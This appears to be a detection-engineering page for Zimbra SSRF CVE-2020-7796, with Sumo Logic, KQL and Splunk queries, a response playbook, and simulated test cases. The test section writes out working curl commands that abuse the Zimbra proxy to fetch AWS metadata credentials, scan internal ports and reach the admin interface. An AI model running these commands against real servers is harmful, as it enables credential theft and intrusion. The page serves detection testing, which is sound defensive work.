Detect Zimbra Collaboration Suite SSRF Exploitation (CVE-2020-7796) in Sumo Logic CSE
Detects exploitation attempts targeting CVE-2020-7796, a Server-Side Request Forgery (SSRF) vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This vulnerability allows unauthenticated remote attackers to make the Zimbra server issue arbitrary HTTP requests to internal or external resources, potentially enabling internal network scanning, credential theft, or pivoting to internal services.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=web/zimbra OR _sourceCategory=iis OR _sourceCategory=nginx
| where (%"cs-uri-stem" matches "/service/proxy*" OR %"cs-uri-stem" matches "/zimlet/*" OR url matches "/service/proxy*" OR url matches "/zimlet/*")
| where (%"cs-uri-query" matches "*target=http*" OR %"cs-uri-query" matches "*host=http*" OR %"cs-uri-query" matches "*url=http*" OR query matches "*target=http*" OR query matches "*url=http*")
| parse regex "(?i)(?:target|host|url|backend|redirect)=(?<ssrf_target>[^&\s]+)"
| where ssrf_target matches "*169.254.*" OR ssrf_target matches "*127.0.0.1*" OR ssrf_target matches "*localhost*" OR ssrf_target matches "*10.*" OR ssrf_target matches "*192.168.*" OR ssrf_target matches "*metadata*"
| eval target_class = if(ssrf_target matches "*169.254.169.254*", "metadata-service", if(ssrf_target matches "*127.0.0.1*" OR ssrf_target matches "*localhost*", "loopback", "internal-network"))
| count by _sourceHost, src_ip, ssrf_target, target_class
| sort by _count descSumo Logic query to identify Zimbra SSRF exploitation by parsing web access logs for requests to vulnerable Zimbra endpoints containing internal or metadata service targets.
Data Sources
Required Tables
False Positives & Tuning
- Zimbra server-to-server proxy requests for legitimate collaboration features
- Automated monitoring or backup solutions accessing Zimbra proxy endpoints
- Penetration testing or red team engagements with prior authorization
Other platforms for CVE-2020-7796
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Zimbra SSRF via /service/proxy to Internal Metadata Service
Expected signal: HTTP GET request to /service/proxy with target parameter set to 169.254.169.254 visible in Zimbra access logs; outbound network connection from Zimbra server to 169.254.169.254:80 visible in network flow data
- Test 2Zimbra SSRF Internal Port Scan via /service/proxy
Expected signal: Multiple sequential requests to /service/proxy with varying port numbers in the target parameter; outbound connections from Zimbra host to internal IP across multiple ports within a short time window
- Test 3Zimbra SSRF to Internal Admin Interface via /zimlet/ Endpoint
Expected signal: HTTP GET to /zimlet/ endpoint with backend parameter containing 127.0.0.1 and internal admin port 7071; loopback connection attempt from Zimbra process visible in netstat/ss output or network telemetry
- Test 4Zimbra SSRF Credential Harvest via AWS EC2 Metadata
Expected signal: Two sequential requests to /service/proxy with IMDSv1 paths in target parameter; successful 200 response containing JSON with AccessKeyId, SecretAccessKey, and Token fields if running on AWS EC2 without IMDSv2 enforcement
Response Playbook
Triage
- Identify the source IP initiating the SSRF request and determine if it is a known internal asset, external IP, or Tor/VPN exit node by cross-referencing threat intelligence feeds.
- Extract the SSRF target URL from the request query string and classify the target: cloud metadata service (169.254.169.254), loopback/localhost, RFC1918 internal network, or external attacker-controlled host.
- Review Zimbra access logs for the source IP in the 24 hours preceding the alert to determine if this is the first request or part of a sustained reconnaissance campaign.
- Check whether the Zimbra server has outbound firewall rules restricting connections to internal network ranges and metadata services — a successful SSRF requires an outbound connection to be possible.
- Correlate the source IP with authentication logs to determine if the attacker has an authenticated session or is exploiting the vulnerability unauthenticated.
Containment
- Immediately block the source IP at the perimeter firewall or WAF and revoke any active Zimbra sessions originating from that IP using the Zimbra admin console (Admin > Active Sessions).
- Apply WAF rules to block requests to /service/proxy, /zimlet/, and /service/extension/ endpoints containing URL-encoded or plaintext redirect/target/host/url parameters pointing to internal RFC1918, loopback, or metadata service addresses.
- Implement outbound egress filtering on the Zimbra host to prevent the server from initiating connections to 169.254.169.254, 127.0.0.1, and RFC1918 ranges except for explicitly required mail routing destinations.
Evidence Collection
- Preserve full Zimbra access logs (/opt/zimbra/log/access.log and /opt/zimbra/log/zimbra.log) covering the attack window, ensuring log rotation does not destroy evidence before acquisition.
- Capture network flow records (NetFlow/IPFIX or packet captures) from the Zimbra host's network interface for the attack time window to confirm whether SSRF-initiated outbound connections succeeded and what data may have been exfiltrated.
- Export the Zimbra server's running process list, open network connections (ss -tulpn), and environment variables at the time of containment to detect any persistence mechanisms or credential harvesting that may have followed a successful SSRF.
Escalation Criteria
- !Escalate to incident response if the SSRF target is the cloud instance metadata service (169.254.169.254) and HTTP status 200 responses are observed, indicating potential IAM credential theft.
- !Escalate immediately if post-exploitation indicators are detected such as new admin accounts created in Zimbra, configuration changes, or outbound connections to attacker-controlled C2 infrastructure following the SSRF activity.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Zimbra access log entries (/opt/zimbra/log/access.log) containing /service/proxy or /zimlet/ requests with target/host/url/backend parameters referencing internal addresses - >
Network flow records showing outbound connections from the Zimbra server to RFC1918 ranges, loopback, or 169.254.169.254 initiated within milliseconds of the inbound HTTP request - >
Zimbra mailbox server logs showing unexpected inter-process communication or unusual Java process network activity - >
WAF or reverse proxy logs capturing the raw HTTP request including all query parameters and response codes to confirm exploitation success
Tuning Guidance
Start with a high-sensitivity deployment targeting all /service/proxy and /zimlet/ requests with URL parameters, then reduce false positives by whitelisting known legitimate Zimbra federation partner IP ranges and approved internal proxy targets. If your Zimbra deployment uses the proxy endpoint for calendar federation with internal CalDAV servers, add those specific internal IP targets to an allowlist rather than suppressing the entire detection. Monitor the http_status field — a 200 response to an SSRF attempt is significantly higher severity than a 403 or 500, and warrants immediate escalation. Tune the internal network regex patterns to match your specific RFC1918 allocation to avoid over-triggering on public IP ranges that happen to start with similar octets.
Hunting Queries
Broad 30-day hunt across Zimbra web logs to identify any historical SSRF attempts that may not have been alerted, revealing the full scope of reconnaissance activity and whether exploitation preceded the detection window.
W3CIISLog
| where TimeGenerated > ago(30d)
| where csUriStem has_any ("/service/proxy", "/zimlet/", "/service/extension/")
| where csUriQuery has_any ("target=", "host=", "url=", "backend=", "redirect=")
| extend PotentialSSRFTarget = extract(@"(?i)(?:target|host|url|backend|redirect)=([^&\s]+)", 1, csUriQuery)
| where isnotempty(PotentialSSRFTarget)
| summarize RequestCount = count(), UniqueSourceIPs = dcount(cIP), UniqueTargets = make_set(PotentialSSRFTarget, 20) by bin(TimeGenerated, 1h), csHost
| order by RequestCount descindex=web (uri_path="/service/proxy*" OR uri_path="/zimlet/*" OR uri_path="/service/extension/*") (uri_query="*target=*" OR uri_query="*host=http*" OR uri_query="*url=http*") earliest=-30d
| rex field=uri_query "(?i)(?:target|host|url|backend|redirect)=(?<ssrf_target>[^&\s]+)"
| where isnotnull(ssrf_target)
| timechart span=1h count by ssrf_target limit=10Atomic Red Team Tests
Simulates an attacker exploiting CVE-2020-7796 to send a forged request from the Zimbra server to the cloud instance metadata service endpoint to harvest IAM credentials.
Command
curl -sk 'http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -H 'Host: ZIMBRA_HOST' -v 2>&1 | tee /tmp/zimbra_ssrf_metadata_test.txtCleanup
rm -f /tmp/zimbra_ssrf_metadata_test.txtExpected Telemetry
HTTP GET request to /service/proxy with target parameter set to 169.254.169.254 visible in Zimbra access logs; outbound network connection from Zimbra server to 169.254.169.254:80 visible in network flow data
Expected Detection
Alert triggered on detection of /service/proxy request with target=http://169.254.169.254 matching internal metadata service pattern
Simulates attacker using Zimbra as a proxy to enumerate open ports on an internal host, a common post-SSRF reconnaissance technique.
Command
for port in 22 80 443 8080 8443 3306 5432 6379 27017 9200; do echo "Testing port $port:"; curl -sk --max-time 3 "http://ZIMBRA_HOST/service/proxy?target=http://192.168.1.1:${port}/" -o /dev/null -w "%{http_code}\n"; done 2>&1 | tee /tmp/zimbra_ssrf_portscan.txtCleanup
rm -f /tmp/zimbra_ssrf_portscan.txtExpected Telemetry
Multiple sequential requests to /service/proxy with varying port numbers in the target parameter; outbound connections from Zimbra host to internal IP across multiple ports within a short time window
Expected Detection
Detection fires on first internal-targeting SSRF request; volume-based rule may trigger on the rapid sequential requests across multiple ports
Tests SSRF via the /zimlet/ endpoint to access an internal administrative web interface not exposed externally, simulating lateral movement enablement.
Command
curl -sk 'http://ZIMBRA_HOST/zimlet/com_zimbra_proxy_config/config?backend=http://127.0.0.1:7071/zimbraAdmin/' -H 'Host: ZIMBRA_HOST' -v 2>&1 | tee /tmp/zimbra_ssrf_admin_test.txtCleanup
rm -f /tmp/zimbra_ssrf_admin_test.txtExpected Telemetry
HTTP GET to /zimlet/ endpoint with backend parameter containing 127.0.0.1 and internal admin port 7071; loopback connection attempt from Zimbra process visible in netstat/ss output or network telemetry
Expected Detection
Alert triggered on /zimlet/ request containing backend=http://127.0.0.1 matching loopback SSRF pattern
Simulates attacker exploiting Zimbra SSRF to steal AWS EC2 instance credentials from the IMDSv1 metadata endpoint, a critical impact scenario for cloud-hosted Zimbra deployments.
Command
ROLE=$(curl -sk --max-time 5 'http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/' 2>/dev/null); echo "Role found: $ROLE"; curl -sk --max-time 5 "http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE}" 2>&1 | tee /tmp/zimbra_ssrf_aws_creds.txtCleanup
rm -f /tmp/zimbra_ssrf_aws_creds.txtExpected Telemetry
Two sequential requests to /service/proxy with IMDSv1 paths in target parameter; successful 200 response containing JSON with AccessKeyId, SecretAccessKey, and Token fields if running on AWS EC2 without IMDSv2 enforcement
Expected Detection
Detection fires on first metadata service SSRF request; CSPM or AWS CloudTrail may additionally alert on credential use from an unexpected IP if attacker extracts and uses the credentials